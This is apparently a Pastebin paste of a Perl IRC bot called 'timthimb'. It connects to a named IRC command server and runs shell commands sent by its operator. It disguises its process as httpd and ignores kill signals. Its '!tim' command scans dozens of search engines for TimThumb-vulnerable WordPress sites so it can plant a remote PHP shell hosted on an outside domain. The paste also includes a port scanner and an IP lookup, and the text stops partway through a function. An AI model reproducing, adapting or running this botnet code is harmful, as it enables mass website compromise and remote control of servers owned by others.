MRC

timthimb

MRC
Jul 25th, 2012
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 62.54 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use HTTP::Request;
  3.  use HTTP::Request::Common;
  4. use HTTP::Request::Common qw(POST);
  5. use LWP::Simple; use LWP 5.64;
  6. use LWP::UserAgent; use Socket;
  7. use IO::Socket; use IO::Socket::INET;
  8. use IO::Select; use MIME::Base64;
  9.  
  10. my $datetime = localtime;
  11. my $fakeproc = "/usr/sbin/httpd";
  12. my $ircserver = "irc.s4l1ty.info";
  13. my $ircport = "6667";
  14. my $nickname = "[test][".int(rand(10))."]";
  15. my $ident = "test";
  16. my $channel = "#grmteam";
  17. my $admin = "Rul3x";
  18. my $fullname = "6,1 4mahluk's BOT";
  19. my $thumblogo = "0,1(8@9TimThumb0)";
  20. my $thumbcmd = '!tim';
  21. ###########################################################################
  22. my $thumbshell = "http%3A%2F%2Fblogger.com.bhradioperu.com%2Fdb.php";
  23. my $botid = "http://blogger.com.bhradioperu.com/db.php";
  24. my $folder1 = "/cache/a5afa3e6656615542b9c969464484d6e.php";
  25. my $folder2 = "/cache/external_a5afa3e6656615542b9c969464484d6e.php";
  26. my $folder3 = "/temp/a5afa3e6656615542b9c969464484d6e.php";
  27. my $folder4 = "/temp/external_a5afa3e6656615542b9c969464484d6e.php";
  28. my $folder5 = "/wp-content/uploads/thumb-temp/a5afa3e6656615542b9c969464484d6e.php";
  29. my $cekgoogle = "http://google.com/search?q=inurl%3A%2Fwp-content%2Fthemes%2F*%2Ftimthumb.php";
  30. my @bypasser = ("http://estanciadevalencia.com/sn/google.php","http://www.alexoloughlin.es/google.php","http://www.maclube.org/google.php",);
  31. my $bypass = $bypasser[rand(scalar(@bypasser))];
  32. my @bypasser2 = ("http://www.convenienthealthcard.com/byroe.php","http://www.plugcreativity.org//google.php","http://www.citerastudio.com//google.php");
  33. my $bypass2 = $bypasser2[rand(scalar(@bypasser2))];
  34. ##############################################################################
  35. my @uagents = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12','Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4','Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6','Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1'); my $uagent = $uagens[rand(scalar(@uagents))]; $SIG{'INT'}   = 'IGNORE'; $SIG{'HUP'}   = 'IGNORE'; $SIG{'TERM'}  = 'IGNORE'; $SIG{'CHLD'}  = 'IGNORE'; $SIG{'PS'}    = 'IGNORE'; $ircserver = "$ARGV[0]" if $ARGV[0]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new();
  36. sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } }
  37. sub connector {
  38.                 my $mynick = $_[0]; my $ircserver_con = $_[1];
  39.                 my $ircport_con = $_[2];
  40.                 my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  41.                                 if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
  42.                                 $IRC_socket->autoflush(1);
  43.                                 $sel_client->add($IRC_socket);
  44.                                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  45.                                 $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  46.                                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  47.                                 $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  48.                                 nick("$mynick");
  49.                                 my $versi   = "6,1 4mahluk's BOT";
  50.                                 sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  51.                                 sleep (1);}}
  52.  
  53.                                
  54. sub parse { my $servarg = shift;
  55.             if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); }
  56.             elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4;
  57.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$mynick".int rand(1)); }
  58.             elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2;
  59.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  60.             $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  61.             sendraw("MODE $mynick +Bxp");
  62.             sendraw("JOIN $channel"); sleep(2);
  63.             sendraw("PRIVMSG $admin :Hi $admin im here !!!"); } } my $line_temp;
  64.             while( 1 ) { while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''})
  65.             if (defined($irc_servers{''}));
  66.             my @ready = $sel_client->can_read(0);
  67.             next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  68.             $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh);
  69.             $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//;
  70.             if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  71.             my $engine ="GooGLe,GooGle2,ByPass,ByPass2,,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR";
  72.             if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey"); }
  73.             if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); }
  74.             if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); }
  75.             if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); }
  76.             if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); }
  77.             if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); }
  78.             if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); }
  79.             if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); }
  80.             if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :0,1Fake Process/PID : $fakeproc - $$"); }
  81.             if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } }
  82.             else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); }
  83.             if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); }
  84.             if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); }
  85.             if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); }
  86.             if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); }
  87.             if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); }
  88.             if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); }
  89.             if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); }
  90.             if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2";
  91.             my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  92.             if ($scansock) { &msg("$path","0,1(8PORT15)6 $hostip:$portsc 4Accepted"); }
  93.             else { &msg("$path","0,1(8PORT15)6 $hostip:$portsc 4Denied"); } }
  94.             if ($msg=~ /^!ip\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); }
  95.             else { if (fork) { exit; } else { my $ip = $1; &msg("$path","0,1(8IP15)6 Searching ".$ip." 4Location ...");
  96.             my $website = "http://www.ipligence.com/geolocation"; my ($useragent,$request,$response,%form);
  97.             undef %form; $form{ip}  = $ip; $useragent = LWP::UserAgent->new; $useragent->timeout(6);
  98.             $request   = POST $website,\%form; $response  = $useragent->request($request);
  99.             if ($response->is_success) { my $res = $response->content;
  100.             if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  101.             &msg("$path","0,1(8IP15)6 IP Address : ".$ip." 4 ( ".$ipaddress." )");
  102.             &msg("$path","0,1(8IP15)6 City       : ".$ip." 4 ( ".$city." )");
  103.             &msg("$path","0,1(8IP15)6 Country    : ".$ip." 4 ( ".$country." )");
  104.             &msg("$path","0,1(8IP15)6 Continent  : ".$ip." 4 ( ".$continent." )"); } else {  
  105.             &msg("$path","0,1(8IP15)6 ".$ip." not found in database."); } } else {
  106.             &msg("$path","0,1(8IP15)6 Cannot open IP database."); } } exit; } } if (
  107.             $msg=~ /^!help/) { my $helplogo = "4(8@9Help4)"; &msg("$path","4$helplogo 8 ############################");
  108.             &msg("$path","4$helplogo 8 #9 $thumbcmd   [bug]   [dork] 8#"); &msg("$path","4$helplogo 8 ############################"); }
  109.             if ($msg=~ /^!engine/) { my $enginelogo = "4(8@9Engine4)"; &msg("$path","4$enginelogo 8 $engine "); }
  110.             if ($msg=~ /^!about/) { my $aboutlogo = "15(4@4About Bot15)"; &msg("$path","0,1$aboutlogo 14 TIMTHUMB cPanel Finder"); }
  111.             if ($msg=~ /^!respon/ || $msg=~ /^!id/) { if (&isFound($botid,"GIF89a")) { &msg("$path","0,1(8Injector15)6 PHP Shell 9READY!!!"); } else {
  112.             &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!"); } }
  113.             if ($msg=~ /^!cekgoogle/ || $msg=~ /^!google/) {
  114.                 if (&isFound($cekgoogle,"google")) { &msg("$path","0,1(8GooGle15)9 OK!!!"); } else {
  115.                 &msg("$path","0,1(8GooGle15)6 Banned!!!"); } }
  116.             if (&isAdmin($nick) && $msg =~ /^!pid/) { &notice("$nick","0,1Fake Process/PID : 8$fakeproc - $$"); }
  117.             if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); }
  118.             else { if (fork) { exit; } else { if (&isFound($botid,"GIF89")) { my ($bug,$dork) = ($1,$2); &msg("$path","0,1$thumblogo 12Dork :4 $dork 12Bug :4 $bug ");
  119.             &scan_start($path,$bug,$dork,$engine,1); } else { &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!"); }
  120.             exit; }
  121.             }
  122.         }
  123.     }
  124. }
  125. for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c];
  126.                                 $line = $line_temp.$line if ($line_temp);
  127.                                 $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { &parse("$line"); } else { if ($#lines == 0) { &parse("$line"); }
  128.                                     elsif ($lines[$c] =~ /\r$/) { &parse("$line"); }
  129.                                     elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { &parse("$line"); } else {
  130.                                     $line_temp = $line; }
  131.                                     }
  132.                                 }
  133.                             }
  134.                         }
  135. ##################################################################
  136. sub type () {
  137. my ($chan,$bug,$dork,$engine,$type) = @_;
  138.     if ($type == 1){$type=&thumb($chan,$bug,$dork,$engine);}
  139.     elsif ($type == 2){$type=&zero($chan,$bug,$dork,$engine);}
  140.     }
  141. ###################################################################
  142.  
  143. sub scan_start() {
  144. my ($chan,$bug,$dork,$engine,$type) = @_;
  145.            
  146.     if ($engine =~ /bing/i) {
  147.         if ($pid = fork) { waitpid($pid, 0); }
  148.         else { if (fork) { exit; } else {
  149.         &type($chan,$bug,$dork,"Bing",$type);
  150.         } exit; }
  151.     }
  152.  
  153.     if ($engine =~ /altavista/i) {
  154.         if ($pid = fork) { waitpid($pid, 0); }
  155.         else { if (fork) { exit; } else {
  156.         &type($chan,$bug,$dork,"ALtaViSTa",$type);
  157.         } exit; }
  158.     }
  159.  
  160.     if ($engine =~ /google2/i) {
  161.     if ($pid = fork) { waitpid($pid, 0); } else {
  162.     if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); }
  163.     exit;
  164.         }
  165.     }
  166.  
  167.     if ($engine =~ /ask/i) {
  168.         if ($pid = fork) { waitpid($pid, 0); }
  169.         else { if (fork) { exit; } else {
  170.         &type($chan,$bug,$dork,"AsK",$type);
  171.         } exit; }
  172.     }
  173.  
  174.     if ($engine =~ /uol/i) {
  175.         if ($pid = fork) { waitpid($pid, 0); }
  176.         else { if (fork) { exit; } else {
  177.         &type($chan,$bug,$dork,"UoL",$type);
  178.         } exit; }
  179.     }
  180.  
  181.    
  182.     if ($engine =~ /clusty/i) {
  183.         if ($pid = fork) { waitpid($pid, 0); }
  184.         else { if (fork) { exit; } else {
  185.         &type($chan,$bug,$dork,"CluSty",$type);
  186.         } exit; }
  187.     }
  188.  
  189.     if ($engine =~ /google/i) {
  190.     if (my $pid = fork) { waitpid($pid, 0); } else {
  191.     if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); }
  192.     exit;
  193.         }
  194.     }
  195.  
  196.     if ($engine =~ /gutser/i) {
  197.         if ($pid = fork) { waitpid($pid, 0); }
  198.         else { if (fork) { exit; } else {
  199.             &type($chan,$bug,$dork,"GutSer",$type);
  200.         } exit; }
  201.     }
  202.  
  203.     if ($engine =~ /rediff/i) {
  204.         if ($pid = fork) { waitpid($pid, 0); }
  205.         else { if (fork) { exit; } else {
  206.         &type($chan,$bug,$dork,"ReDiff",$type);
  207.         } exit; }
  208.     }
  209.  
  210.     if ($engine =~ /virgilio/i) {
  211.         if ($pid = fork) { waitpid($pid, 0); }
  212.         else { if (fork) { exit; } else {
  213.         &type($chan,$bug,$dork,"VirgiLio",$type);
  214.         } exit; }
  215.     }
  216.  
  217.     if ($engine =~ /webde/i) {
  218.         if ($pid = fork) { waitpid($pid, 0); }
  219.         else { if (fork) { exit; } else {
  220.         &type($chan,$bug,$dork,"WebDe",$type);
  221.         } exit; }
  222.     }
  223.  
  224.     if ($engine =~ /exalead/i) {
  225.         if ($pid = fork) { waitpid($pid, 0); }
  226.         else { if (fork) { exit; } else {
  227.         &type($chan,$bug,$dork,"ExaLead",$type);
  228.         } exit; }
  229.     }
  230.  
  231.     if ($engine =~ /lycos/i) {
  232.         if ($pid = fork) { waitpid($pid, 0); }
  233.         else { if (fork) { exit; } else {
  234.         &type($chan,$bug,$dork,"LyCos",$type);
  235.         } exit; }
  236.     }
  237.  
  238.     if ($engine =~ /hotbot/i) {
  239.         if ($pid = fork) { waitpid($pid, 0); }
  240.         else { if (fork) { exit; } else {
  241.         &type($chan,$bug,$dork,"HotBot",$type);
  242.         } exit; }
  243.     }
  244.  
  245.     if ($engine =~ /aol/i) {
  246.         if ($pid = fork) { waitpid($pid, 0); }
  247.         else { if (fork) { exit; } else {
  248.         &type($chan,$bug,$dork,"AoL",$type);
  249.         } exit; }
  250.     }
  251.  
  252.     if ($engine =~ /sapo/i) {
  253.         if ($pid = fork) { waitpid($pid, 0); }
  254.         else { if (fork) { exit; } else {
  255.         &type($chan,$bug,$dork,"SaPo",$type);
  256.         } exit; }
  257.     }
  258.  
  259.     if ($engine =~ /duck/i) {
  260.         if ($pid = fork) { waitpid($pid, 0); }
  261.         else { if (fork) { exit; } else {
  262.         &type($chan,$bug,$dork,"DuCk",$type);
  263.         } exit; }
  264.     }
  265.  
  266.     if ($engine =~ /lygo/i) {
  267.         if ($pid = fork) { waitpid($pid, 0); }
  268.         else { if (fork) { exit; } else {
  269.         &type($chan,$bug,$dork,"LyGo",$type);
  270.         } exit; }
  271.     }
  272.  
  273.     if ($engine =~ /yause/i) {
  274.         if ($pid = fork) { waitpid($pid, 0); }
  275.         else { if (fork) { exit; } else {
  276.         &type($chan,$bug,$dork,"YauSe",$type);
  277.         } exit; }
  278.     }
  279.  
  280.    
  281.     if ($engine =~ /baidu/i) {
  282.         if ($pid = fork) { waitpid($pid, 0); }
  283.         else { if (fork) { exit; } else {
  284.         &type($chan,$bug,$dork,"BaiDu",$type);
  285.         } exit; }
  286.     }
  287.  
  288.     if ($engine =~ /kipot/i) {
  289.         if ($pid = fork) { waitpid($pid, 0); }
  290.         else { if (fork) { exit; } else {
  291.         &type($chan,$bug,$dork,"KiPoT",$type);
  292.         } exit; }
  293.     }
  294.  
  295.     if ($engine =~ /gibla/i) {
  296.         if ($pid = fork) { waitpid($pid, 0); }
  297.         else { if (fork) { exit; } else {
  298.         &type($chan,$bug,$dork,"GiBLa",$type);
  299.         } exit; }
  300.     }
  301.  
  302.     if ($engine =~ /black/i) {
  303.         if ($pid = fork) { waitpid($pid, 0); }
  304.         else { if (fork) { exit; } else {
  305.         &type($chan,$bug,$dork,"BLacK",$type);
  306.         } exit; }
  307.     }
  308.  
  309.     if ($engine =~ /onet/i) {
  310.         if ($pid = fork) { waitpid($pid, 0); }
  311.         else { if (fork) { exit; } else {
  312.         &type($chan,$bug,$dork,"oNeT",$type);
  313.         } exit; }
  314.     }
  315.  
  316.     if ($engine =~ /sizuka/i) {
  317.         if ($pid = fork) { waitpid($pid, 0); }
  318.         else { if (fork) { exit; } else {
  319.         &type($chan,$bug,$dork,"SiZuka",$type);
  320.         } exit; }
  321.     }
  322.  
  323.     if ($engine =~ /walla/i) {
  324.         if ($pid = fork) { waitpid($pid, 0); }
  325.         else { if (fork) { exit; } else {
  326.         &type($chan,$bug,$dork,"WaLLa",$type);
  327.         } exit; }
  328.     }
  329.  
  330.     if ($engine =~ /demos/i) {
  331.         if ($pid = fork) { waitpid($pid, 0); }
  332.         else { if (fork) { exit; } else {
  333.         &type($chan,$bug,$dork,"DeMos",$type);
  334.         } exit; }
  335.     }
  336.  
  337.     if ($engine =~ /rose/i) {
  338.         if ($pid = fork) { waitpid($pid, 0); }
  339.         else { if (fork) { exit; } else {
  340.         &type($chan,$bug,$dork,"RoSe",$type);
  341.         } exit; }
  342.     }
  343.  
  344.     if ($engine =~ /seznam/i) {
  345.         if ($pid = fork) { waitpid($pid, 0); }
  346.         else { if (fork) { exit; } else {
  347.         &type($chan,$bug,$dork,"SeZnaM",$type);
  348.         } exit; }
  349.     }
  350.  
  351.     if ($engine =~ /tiscali/i) {
  352.         if ($pid = fork) { waitpid($pid, 0); }
  353.         else { if (fork) { exit; } else {
  354.         &type($chan,$bug,$dork,"TisCali",$type);
  355.         } exit; }
  356.     }
  357.  
  358.     if ($engine =~ /naver/i) {
  359.         if ($pid = fork) { waitpid($pid, 0); }
  360.         else { if (fork) { exit; } else {
  361.         &type($chan,$bug,$dork,"NaVeR",$type);
  362.         } exit; }
  363.     }
  364.  
  365.     if ($engine =~ /doogate/i) {
  366.         if (my $pid = fork) { waitpid($pid, 0); }
  367.         else { if (fork) { exit; } else {
  368.         &type($chan,$bug,$dork,"DooGatE");
  369.         } exit; }
  370.     }
  371.  
  372.     if ($engine =~ /sogou/i) {
  373.         if ($pid = fork) { waitpid($pid, 0); }
  374.         else { if (fork) { exit; } else {
  375.         &type($chan,$bug,$dork,"sogou",$type);
  376.         } exit; }
  377.     }
  378.  
  379.     if ($engine =~ /bypass2/i) {
  380.     if ($pid = fork) { waitpid($pid, 0); } else {
  381.     if (fork) { exit; } else { &type($chan,$bug,$dork,"ByPass2",$type); }
  382.     exit;
  383.         }
  384.     }
  385.  
  386.     if ($engine =~ /interia/i) {
  387.         if ($pid = fork) { waitpid($pid, 0); }
  388.         else { if (fork) { exit; } else {
  389.         &type($chan,$bug,$dork,"interia",$type);
  390.         } exit; }
  391.     }
  392.  
  393.     if ($engine =~ /snz/i) {
  394.         if ($pid = fork) { waitpid($pid, 0); }
  395.         else { if (fork) { exit; } else {
  396.         &type($chan,$bug,$dork,"snz",$type);
  397.         } exit; }
  398.     }
  399.  
  400.     if ($engine =~ /yandex/i) {
  401.         if ($pid = fork) { waitpid($pid, 0); }
  402.         else { if (fork) { exit; } else {
  403.         &type($chan,$bug,$dork,"yandex",$type);
  404.         } exit; }
  405.     }
  406.  
  407.     if ($engine =~ /joeant/i) {
  408.         if ($pid = fork) { waitpid($pid, 0); }
  409.         else { if (fork) { exit; } else {
  410.         &type($chan,$bug,$dork,"joeant",$type);
  411.         } exit; }
  412.     }
  413.  
  414.     if ($engine =~ /terra/i) {
  415.         if ($pid = fork) { waitpid($pid, 0); }
  416.         else { if (fork) { exit; } else {
  417.         &type($chan,$bug,$dork,"terra",$type);
  418.         } exit; }
  419.     }
  420.     if ($engine =~ /youdao/i) {
  421.         if ($pid = fork) { waitpid($pid, 0); }
  422.         else { if (fork) { exit; } else {
  423.         &type($chan,$bug,$dork,"youdao",$type);
  424.         } exit; }
  425.     }
  426.  
  427.     if ($engine =~ /amfibi/i) {
  428.         if ($pid = fork) { waitpid($pid, 0); }
  429.         else { if (fork) { exit; } else {
  430.         &type($chan,$bug,$dork,"amfibi",$type);
  431.         } exit; }
  432.     }
  433.  
  434.     if ($engine =~ /bigclique/i) {
  435.         if ($pid = fork) { waitpid($pid, 0); }
  436.         else { if (fork) { exit; } else {
  437.         &type($chan,$bug,$dork,"bigclique",$type);
  438.         } exit; }
  439.     }
  440.  
  441.     if ($engine =~ /dancefloor/i) {
  442.         if ($pid = fork) { waitpid($pid, 0); }
  443.         else { if (fork) { exit; } else {
  444.         &type($chan,$bug,$dork,"dancefloor",$type);
  445.         } exit; }
  446.     }
  447.  
  448.     if ($engine =~ /live/i) {
  449.         if ($pid = fork) { waitpid($pid, 0); }
  450.         else { if (fork) { exit; } else {
  451.         &type($chan,$bug,$dork,"live",$type);
  452.         } exit; }
  453.     }
  454.  
  455.     if ($engine =~ /rakuten/i) {
  456.         if ($pid = fork) { waitpid($pid, 0); }
  457.         else { if (fork) { exit; } else {
  458.         &type($chan,$bug,$dork,"rakuten",$type);
  459.         } exit; }
  460.     }
  461.  
  462.     if ($engine =~ /biglobe/i) {
  463.         if ($pid = fork) { waitpid($pid, 0); }
  464.         else { if (fork) { exit; } else {
  465.         &type($chan,$bug,$dork,"biglobe",$type);
  466.         } exit; }
  467.     }
  468.  
  469.     if ($engine =~ /nova/i) {
  470.         if ($pid = fork) { waitpid($pid, 0); }
  471.         else { if (fork) { exit; } else {
  472.         &type($chan,$bug,$dork,"nova",$type);
  473.         } exit; }
  474.     }
  475.  
  476.     if ($engine =~ /najdi/i) {
  477.         if ($pid = fork) { waitpid($pid, 0); }
  478.         else { if (fork) { exit; } else {
  479.         &type($chan,$bug,$dork,"najdi",$type);
  480.         } exit; }
  481.     }
  482.  
  483.     if ($engine =~ /goo/i) {
  484.         if ($pid = fork) { waitpid($pid, 0); }
  485.         else { if (fork) { exit; } else {
  486.         &type($chan,$bug,$dork,"goo",$type);
  487.         } exit; }
  488.     }
  489.  
  490.     if ($engine =~ /uksubmit/i) {
  491.         if ($pid = fork) { waitpid($pid, 0); }
  492.         else { if (fork) { exit; } else {
  493.         &type($chan,$bug,$dork,"uksubmit",$type);
  494.         } exit; }
  495.     }
  496.  
  497.     if ($engine =~ /excite/i) {
  498.         if ($pid = fork) { waitpid($pid, 0); }
  499.         else { if (fork) { exit; } else {
  500.         &type($chan,$bug,$dork,"excite",$type);
  501.         } exit; }
  502.     }
  503.  
  504.     if ($engine =~ /yahoo/i) {
  505.         if ($pid = fork) { waitpid($pid, 0); }
  506.         else { if (fork) { exit; } else {
  507.         &type($chan,$bug,$dork,"YahOo",$type);
  508.         } exit; }
  509.     }
  510.  
  511.     if ($engine =~ /bypass/i) {
  512.     if ($pid = fork) { waitpid($pid, 0); } else {
  513.     if (fork) { exit; } else {
  514.     &type($chan,$bug,$dork,"ByPass",$type); }
  515.     exit;
  516.         }
  517.     }
  518. }
  519. #############################################################################################
  520. sub search_engine() {
  521.     my (@total,@clean);
  522.     my $chan = $_[0];
  523.     my $bug = $_[1];
  524.     my $dork = $_[2];
  525.     my $engine = $_[3];
  526.     my $logo = $_[4];  
  527.     if ($engine eq "ReDiff") {
  528.         my @rediff = &rediff($dork); push(@total,@rediff); }
  529.     if ($engine eq "Bing") {
  530.         my @bing = &bing($dork); push(@total,@bing); }
  531.     if ($engine eq "ALtaViSTa") {
  532.         my @altavista = &altavista($dork); push(@total,@altavista); }
  533.     if ($engine eq "YahOo") {
  534.         my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  535.     if ($engine eq "AsK") {
  536.         my @ask = &ask($dork); push(@total,@ask); }
  537.     if ($engine eq "UoL") {
  538.         my @uol = &uol($dork); push(@total,@uol); }
  539.     if ($engine eq "CluSty") {
  540.         my @clusty = &clusty($dork); push(@total,@clusty); }
  541.     if ($engine eq "GutSer") {
  542.         my @gutser = &gutser($dork); push(@total,@gutser); }
  543.     if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  544.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  545.     if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  546.     if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  547.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  548.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  549.     if ($engine eq "ByPass") {
  550.         my @bypass = &bypass($dork); push(@total,@bypass); }
  551.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  552.     if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  553.     if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  554.     if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  555.     if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  556.     if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  557.     if ($engine eq "GooGle2") {
  558.         my @google2 = &google2($dork); push(@total,@google2); }
  559.     if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  560.     if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  561.     if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  562.     if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  563.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  564.     if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
  565.     if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  566.     if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  567.     if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  568.     if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  569.     if ($engine eq "DooGatE") { my @doogate = doogate($dork); push(@total,@doogate); }
  570.     if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
  571.     if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
  572.     if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
  573.     if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
  574.     if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
  575.     if ($engine eq "GooGLe") {
  576.         my @google = &google($dork); push(@total,@google); }
  577.     if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
  578.     if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
  579.     if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
  580.     if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
  581.     if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
  582.     if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
  583.     if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
  584.     if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  585.     if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
  586.     if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
  587.     if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
  588.     if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
  589.     if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
  590.     if ($engine eq "ByPass2") {
  591.         my @bypass2 = &bypass2($dork); push(@total,@bypass2); }
  592. @clean = &clean(@total);
